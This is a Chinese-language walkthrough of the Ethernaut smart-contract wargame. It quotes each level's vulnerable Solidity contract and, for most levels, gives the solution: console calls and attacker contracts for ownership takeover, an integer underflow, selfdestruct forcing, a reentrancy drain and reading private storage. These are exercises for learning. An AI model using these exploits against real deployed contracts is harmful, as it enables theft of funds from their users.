Ethernaut 靶场 Writeup

简介

ethernaut包含有15道智能合约的训练题目,我们充分了解下。(写的不会很详细,不过思路还是清晰的,有兴趣的同学自己动手试试吧)

地址

level 0 Hello Ethernaut

试玩关,没什么挑战的。会看英文就行。

level 1 Fallback

Look carefully at the contract’s code below.
You will beat this level if
you claim ownership of the contract
you reduce its balance to 0
Things that might help
How to send ether when interacting with an ABI
How to send ether outside of the ABI
Converting to and from wei/ether units -see help() command-
Fallback methods

合约代码

pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';

contract Fallback is Ownable {

  mapping(address => uint) public contributions;

  function Fallback() public {
    contributions[msg.sender] = 1000 * (1 ether);
  }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    owner.transfer(this.balance);
  }

  function() payable public {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}

分析合约,发现只要先调用contribute函数,然后转一点点钱,然后再调用fallback函数即可。

1. 充钱
contract.contribute({value:1})
此时,我们成功冲入了1 wei
2. 调用fallcak函数
我们使用contract.address查看到合约的地址,
通过向该地址发送一点点ether,即可调用fallback函数,成功成为owner
这里不知道为什么用那个插件发送ether会failed
不过,没关系,我们可以通过调用不存在的函数或者用console的send来转钱调用
contract.send(1)
contract.owner()查看当前拥有者,果然我们已经成了owner
3. 调用withdraw转走钱
调用contract.withdraw()把钱转走

You know the basics of how ether goes in and out of contracts, including the usage of the fallback method.

You’ve also learnt about OpenZeppelin’s Ownable contract, and how it can be used to restrict the usage of some methods to a priviledged address.

Move on to the next level when you’re ready!

level 2 Fallout

Claim ownership of the contract below to complete this level.
Things that might help
Solidity Remix IDE

pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';

contract Fallout is Ownable {

  mapping (address => uint) allocations;

  /* constructor */
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

  function allocate() public payable {
    allocations[msg.sender] += msg.value;
  }

  function sendAllocation(address allocator) public {
    require(allocations[allocator] > 0);
    allocator.transfer(allocations[allocator]);
  }

  function collectAllocations() public onlyOwner {
    msg.sender.transfer(this.balance);
  }

  function allocatorBalance(address allocator) public view returns (uint) {
    return allocations[allocator];
  }
}

稍微看看,这题目,Fallout里面的Fal1out函数(名字不同,并不是构造函数呢),直接可以调用的。

所以,

1. 调用Fal1out函数,成为owner
contract.Fal1out()
此时,我们是owner了,通过调用
contract.owner()可以看到
2. 调用collectAllocations函数可以转走所有钱
contract.collectAllocations()

That was silly wasn’t it? Real world contracts must be much more secure than this and so must it be much harder to hack them right?

Well… Not quite.

The story of Rubixi is a very well known case in the Ethereum ecosystem. The company changed its name from ‘Dynamic Pyramid’ to ‘Rubixi’ but somehow they didn’t rename the constructor method of its contract:

contract Rubixi {
  address private owner;
  function DynamicPyramid() { owner = msg.sender; }
  function collectAllFees() { owner.transfer(this.balance) }
  ...

This allowed the attacker to call the old constructor and claim ownership of the contract, and steal some funds. Yep. Big mistakes can be made in smart-contract-land.

level 3 Coin Flip

This is a coin flipping game where you need to build up your winning streak by guessing the outcome of a coin flip. To complete this level you’ll need to use your psychic abilities to guess the correct outcome 10 times in a row.

pragma solidity ^0.4.18;

contract CoinFlip {
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  function CoinFlip() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(block.blockhash(block.number-1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

很显然,你要知道,想要在智能合约中实现随机是很难的,所以,我们完全可以部署一个智能合约,算出答案后调用相应的函数

pragma solidity ^0.4.18;

contract CoinFlip {
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  function CoinFlip() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(block.blockhash(block.number-1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}


contract Level3Exp {
    address public vulnerable_contract;
    address public owner;
    CoinFlip private A;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
    event Attack(address indexed from, uint guess);

    modifier OwnerOnly(){
            require(msg.sender == owner);
            _;
    }

    function Level3Exp() public {
        owner = msg.sender;
    }

    function init(address vuln_addr) public OwnerOnly {
        vulnerable_contract = vuln_addr;
        A = CoinFlip(vulnerable_contract);

    }

    function attack() public OwnerOnly {
        uint256 blockValue = uint256(block.blockhash(block.number-1));

        uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
        bool side = coinFlip == 1 ? true : false;
        A.flip(side);
    }
}

所以,怎么在这个挑战中部署合约呢?

我们可以通过Remix和MetaMask配合使用(用得舒心)。

感觉不难,自己摸索下就OK啦。

Generating random numbers in solidity can be tricky. There currently isn’t a native way to generate them, and everything you use in smart contracts is publicly visible, including the local variables and state variables marked as private. Miners also have control over things like blockhashes, timestamps, and whether to include certain transactions - which allows them to bias these values in their favor.

Some options include using Bitcoin block headers (verified through BTC Relay), RANDAO, or Oraclize).

level 4 Telephone

Claim ownership of the contract below to complete this level.

Things that might help

  • See the Help page above, section “Beyond the console”
pragma solidity ^0.4.18;

contract Telephone {

  address public owner;

  function Telephone() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

这里很简单啦,只是需要tx.origin和msg.sender不同而已。

我们知道,当通过call调用别的合约时,tx.origin没有变,但是msg.sender是会变化的。

pragma solidity ^0.4.18;

contract Telephone {

  address public owner;

  function Telephone() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

contract Level4Exp {
    address public vulnerable_contract;
    address public owner;
    Telephone private A;
    event Attack(address indexed from, uint guess);

    modifier OwnerOnly(){
            require(msg.sender == owner);
            _;
    }

    function Level4Exp() public {
        owner = msg.sender;
    }

    function init(address vuln_addr) public OwnerOnly {
        vulnerable_contract = vuln_addr;
        A = Telephone(vulnerable_contract);

    }

    function attack() public OwnerOnly {
        A.changeOwner(msg.sender);
    }
}

While this example may be simple, confusing tx.origin with msg.sender can lead to phishing-style attacks, such as this.

An example of a possible attack is outlined below.

  1. Use tx.origin to determine whose tokens to transfer, e.g.
function transfer(address _to, uint _value) {
  tokens[tx.origin] -= _value;
  tokens[_to] += _value;
}
  1. Attacker gets victim to send funds to a malicious contract that calls the transfer function of the token contract, e.g.
function () payable {
  token.transfer(attackerAddress, 10000);
}
  1. In this scenario, tx.origin will be the victim’s address (while msg.sender will be the malicious contract’s address), resulting in the funds being transferred from the victim to the attacker.

level 5 Token

The goal of this level is for you to hack the basic token contract below.

You are given 20 tokens to start with and you will beat the level if you somehow manage to get your hands on any additional tokens. Preferably a very large amount of tokens.

Things that might help:

  • What is an odometer?

源代码

pragma solidity ^0.4.18;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  function Token(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

很简单可以看出来,整数下溢。

随便找个地址,调用transfer函数,转30(>20)过去,你就会有2**256-10

Overflows are very common in solidity and must be checked for with control statements such as:

if(a + c > a) {
  a = a + c;
}

An easier alternative is to use OpenZeppelin’s SafeMath library that automatically checks for overflows in all the mathematical operators. The resulting code looks like this:

a = a.add(c);

If there is an overflow, the code will revert.

level 6 Delegation

The goal of this level is for you claim ownership of the instance you are given.

Things that might help

  • Look into Solidity’s documentation on the delegatecall low level function, how it works, how it can be used to delegate operations to on-chain libraries, and what implications it has on execution scope.
  • Fallback methods
  • Method ids

源代码

pragma solidity ^0.4.18;

contract Delegate {

  address public owner;

  function Delegate(address _owner) public {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {

  address public owner;
  Delegate delegate;

  function Delegation(address _delegateAddress) public {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  function() public {
    if(delegate.delegatecall(msg.data)) {
      this;
    }
  }
}

可以说是非常明显了,直接造msg.data,调用Delegation的fallback函数,然后,从外部获取代码并进行调用,简单的,调用Delgate的pwn函数。

我们知道,
contract.sendTransaction({data:web3.sha3("pwn()").slice(0,10)})
调用delegate里面的pwn函数

Usage of delegatecall is particularly risky and has been used as an attack vector on multiple historic hacks. With it, your contract is practically saying “here, -other contract- or -other library-, do whatever you want with my state”. Delegates have complete access to your contract’s state. The delegatecall function is a powerful feature, but a dangerous one, and must be used with extreme care.

Please refer to the The Parity Wallet Hack Explained article for an accurate explanation of how this idea was used to steal 30M USD.

level 7 Force

Some contracts will simply not take your money ¯\_(ツ)_/¯

The goal of this level is to make the balance of the contract greater than zero.

Things that might help:

  • Fallback methods
  • Sometimes the best way to attack a contract is with another contract.
  • See the Help page above, section “Beyond the console”
pragma solidity ^0.4.18;

contract Force {/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/}

这题有点意思的样子,但是只是要该合约balance大于0

办法有的。

有一些办法是现阶段无法拒绝往里面转钱的,一是用这个地址去挖矿,二是通过selfdestruct强行转钱。

pragma solidity ^0.4.18;

contract Level7Exp {
    address public vulnerable_contract;
    address public owner;

    modifier OwnerOnly(){
            require(msg.sender == owner);
            _;
    }

    function Level7Exp() public {
        owner = msg.sender;
    }

    function init(address vuln_addr) public payable OwnerOnly {
        vulnerable_contract = vuln_addr;
    }

    function attack() public OwnerOnly {
        selfdestruct(vulnerable_contract);
    }
}
1. 部署合约
2. init传入目标合约地址,同时调用init时转一点ether进去
3. 调用attack

In solidity, for a contract to be able to receive ether, the fallback function must be marked ‘payable’.

However, there is no way to stop an attacker from sending ether to a contract by self destroying. Hence, it is important not to count on the invariant this.balance == 0 for any contract logic.

level 8 Vault

Unlock the vault to pass the level!

pragma solidity ^0.4.18;

contract Vault {
  bool public locked;
  bytes32 private password;

  function Vault(bytes32 _password) public {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }
}

非常天真地以为private就不可见了么,智能合约的每一笔交易是公开可见的。

web3.eth.getStorageAt(contract.address,1,(e,v)=>alert(web3.toAscii(v)))
可以看到弹窗内容即为密码
A very strong secret password :)
然后,调用
contract.unlock("A very strong secret password :)")

It’s important to remember that marking a variable as private only prevents other contracts from accessing it. State variables marked as private and local variables are still publicly accessible.

To ensure that data is private, it needs to be encrypted before being put onto the blockchain. In this scenario, the decryption key should never be sent on-chain, as it will then be visible to anyone who looks for it. zk-SNARKs provide a way to determine whether someone possesses a secret parameter, without ever having to reveal the parameter.

Get new instanceGo to the next level!

level 9 King

The contract below represents a very simple game: whoever sends it an amount of ether that is larger than the current prize becomes the new king. On such an event, the overthrown king gets paid the new prize, making a bit of ether in the process! As ponzi as it gets xD

Such a fun game. Your goal is to break it.

When you submit the instance back to the level, the level is going to reclaim kingship. You will beat the level if you can avoid such a self proclamation.

源代码

pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';

contract King is Ownable {

  address public king;
  uint public prize;

  function King() public payable {
    king = msg.sender;
    prize = msg.value;
  }

  function() external payable {
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }
}

嗯,只要我们成为国王,然后,我们身份是合约,

如果我们没有定义fallback函数或者fallback函数没有payable修饰符或者fallback函数一直是revert,则transfer就一直会失败而回滚。

pragma solidity ^0.4.18;

contract Level9Exp {

    function attack(address vulnerable_contract) public payable {
        vulnerable_contract.call.gas(1000000).value(msg.value)();
    }

    function () public payable{
        revert();
    }
}

attack的时候注意要转比prize多钱即可。(注意:不知道是chrome的插件有问题还是什么,自己手动调节下gas price和gas limit,确保不会报错transaction underprice和不会运行一会儿out-of-gas)

Most of Ethernaut’s levels try to expose (in an oversimpliefied form of course) something that actually happend. A real hack or a real bug.

In this case, see: King of the Ether and King of the Ether Postmortem

level 10 Re-entrancy

The goal of this level is for you to steal all the funds from the contract.

Things that might help:

  • Untrusted contracts can execute code where you least expect it.
  • Fallback methods
  • Throw/revert bubbling
  • Sometimes the best way to attack a contract is with another contract.
  • See the Help page above, section “Beyond the console”

源代码

pragma solidity ^0.4.18;

contract Reentrance {

  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] += msg.value;
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      if(msg.sender.call.value(_amount)()) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  function() public payable {}
}

利用自己部署的合约调用目标合约的withdraw,然后,它通过call向我们转账,这时,调用了我们的fallback函数并且带上了所有剩余的gas,我们在fallback中调用该合约的withdraw函数,就能够再次转钱啦,这时我们的fallback函数就放行就ok,这里可以顺带来个整数下溢,美滋滋。

pragma solidity ^0.4.18;

contract Level10Exp {
    address public owner;
    address public vulnerable_contract;
    bool public attacked;
    uint amount;

    modifier OwnerOnly(){
        require(msg.sender == owner);
        _;
    }

    function Level10Exp(){
        owner = msg.sender;
    }
    /// 这里记得转一点点钱,1wei就够了
    function init(address addr) public payable{
        vulnerable_contract = addr;
        attacked = false;
        amount = msg.value;
        vulnerable_contract.call.value(msg.value)(bytes4(keccak256("donate(address)")),this);

    }

    function attack() public {
        require(!attacked);
        vulnerable_contract.call(bytes4(keccak256("withdraw(uint256)")),amount);
    }

    function withdraw(uint balance) public {
         vulnerable_contract.call(bytes4(keccak256("withdraw(uint256)")),balance);
    }

    function paolu() public OwnerOnly(){
        selfdestruct(owner);
    }

    function() public payable {
        if(!attacked){
            vulnerable_contract.call(bytes4(keccak256("withdraw(uint256)")),amount);  // 这里可以导致整数下溢了,后面可以随意取钱了
            attacked = true;
        }
    }
}

Use transfer to move funds out of your contract, since it throws and limits gas forwarded. Low level functions like call and send just return false but don’t interrupt the execution flow when the receiving contract fails.

Always assume that the receiver of the funds you are sending can be another contract, not just a regular address. Hence, it can execute code in its payable fallback method and re-enter your contract, possibly messing up your state/logic.

Re-entrancy is a common attack. You should always be prepared for it!

The DAO Hack

The famous DAO hack used reentrancy to extract a huge amount of ether from the victim contract. See 15 lines of code that could have prevented TheDAO Hack.

level 11 Elevator

This elevator won’t let you reach the top of your building. Right?

Things that might help:

  • Sometimes solidity is not good at keeping promises.
  • This Elevator expects to be used from a Building.

源代码

pragma solidity ^0.4.18;


interface Building {
  function isLastFloor(uint) view public returns (bool);
}


contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}

这里,我们要部署一个合约,这个合约继承Building接口,然后,第一次调用返回false,第二次调用返回true,就OK啦。注意到这里函数isLastFloor是被view修饰的,这代表着我们不能进行修改变量,那么我们要怎么判断是第一次调用还是第二次呢?

有看到网上说solidity没有强制view修饰,但是我用remix时发现试试报错的。所以,想别的办法,

可以看到先后两次调用了building.isLastFloor,而且参数是一样的,可以想想两次调用有什么不同,容易想到剩余的gas不同,所以,exp如下

pragma solidity ^0.4.18;


interface Building {
    function isLastFloor(uint) view public returns (bool);
}


contract Level11Exp is Building{
    bool public lastFloor;

    function isLastFloor(uint i) view public returns (bool){
        return gasleft()%2==0;
    }

    function attack(address vulnerable_contract) public {
        vulnerable_contract.call(bytes4(keccak256("goTo(uint256)")),1);
    }

}

尝试几次就能OK。

Currently, the Solidity compiler does nothing to enforce that a view or constant function is not modifying state. The same applies to pure functions, which should not read state but they can. Make sure you read Solidity’s documentation and learn its caveats.

可以看到官方预期解都是用的不强制view修饰符,所以,我的是非预期Orz。

level 12 Privacy

The creator of this contract was careful enough to protect the sensitive areas of its storage.

Unlock this contract to beat the level.

Things that might help:

  • Understanding how storage works
  • Understanding how parameter parsing works
  • Understanding how casting works

Tips:

  • Remember that metamask is just a commodity. Use another tool if it is presenting problems. Advanced gameplay could involve using remix, or your own web3 provider.

源代码

pragma solidity ^0.4.18;

contract Privacy {

  bool public locked = true;
  uint256 public constant ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(now);
  bytes32[3] private data;

  function Privacy(bytes32[3] _data) public {
    data = _data;
  }

  function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
  }

  /*
    A bunch of super advanced solidity algorithms...

      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\
      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)
      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU
  */
}

容易拿到数据

0x000000000000000000000000000000000000000000000000000000af74ff0a01
0x02c816cfee7e90b75ea59405dafb348c6e90765b95ffc1abee6d38f5bd940043
0xa6d0b6d669da4f4889c1767b1f17798032fbdc3efdd7393e366afee930b13387
0x9c9841d9296eb0165baf6a18395b289a21e6d261e883d3d6a5132abe378374d6
0x0000000000000000000000000000000000000000000000000000000000000000
0x0000000000000000000000000000000000000000000000000000000000000000
0x0000000000000000000000000000000000000000000000000000000000000000
后面都是0了

有一些数据对齐之类的东西啦

看数据类型,可以知道

a6d0b6d669da4f4889c1767b1f17798032fbdc3efdd7393e366afee930b13387

这个应该就是data[2]

转成bytes16则取前16位,得到结果

a6d0b6d669da4f4889c1767b1f177980

分析下数据和提交数据就OK了,有空回头再看。

level 13 Gatekeeper One

Make it past the gatekeeper and register as an entrant to pass this level.

Things that might help:

  • Remember what you’ve learned from the Telephone and Token levels.
  • You can learn more about the msg.gas special variable, or its preferred alias gasleft(), in Solidity’s documentation (see here and here).

源代码

pragma solidity ^0.4.18;

contract GatekeeperOne {

  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    require(msg.gas % 8191 == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
    require(uint32(_gateKey) == uint16(_gateKey));
    require(uint32(_gateKey) != uint64(_gateKey));
    require(uint32(_gateKey) == uint16(tx.origin));
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

大家自己尝试下吧^^

level 14 Gatekeeper Two

This gatekeeper introduces a few new challenges. Register as an entrant to pass this level.

Things that might help:

  • Remember what you’ve learned from getting past the first gatekeeper - the first gate is the same.
  • The assembly keyword in the second gate allows a contract to access functionality that is not native to vanilla Solidity. See here for more information. The extcodesize call in this gate will get the size of a contract’s code at a given address - you can learn more about how and when this is set in section 7 of the yellow paper.
  • The ^ character in the third gate is a bitwise operation (XOR), and is used here to apply another common bitwise operation (see here). The Coin Flip level is also a good place to start when approaching this challenge.

Get new instance

pragma solidity ^0.4.18;

contract GatekeeperTwo {

  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    uint x;
    assembly { x := extcodesize(caller) }
    require(x == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
    require(uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1);
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

大家自己尝试下吧^^

level 15 Naught Coin

NaughtCoin is an ERC20 token and you’re already holding all of them. The catch is that you’ll only be able to transfer them after a 10 year lockout period. Can you figure out how to get them out to another address so that you can transfer them freely? Complete this level by getting your token balance to 0.

Things that might help

pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/token/ERC20/StandardToken.sol';

 contract NaughtCoin is StandardToken {

  string public constant name = 'NaughtCoin';
  string public constant symbol = '0x0';
  uint public constant decimals = 18;
  uint public timeLock = now + 10 years;
  uint public INITIAL_SUPPLY = 1000000 * (10 ** decimals);
  address public player;

  function NaughtCoin(address _player) public {
    player = _player;
    totalSupply_ = INITIAL_SUPPLY;
    balances[player] = INITIAL_SUPPLY;
    Transfer(0x0, player, INITIAL_SUPPLY);
  }

  function transfer(address _to, uint256 _value) lockTokens public returns(bool) {
    super.transfer(_to, _value);
  }

  // Prevent the initial owner from transferring tokens until the timelock has passed
  modifier lockTokens() {
    if (msg.sender == player) {
      require(now > timeLock);
      if (now < timeLock) {
        _;
      }
    } else {
     _;
    }
  } 
} 

大家自己尝试下吧^^


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至3213359017@qq.com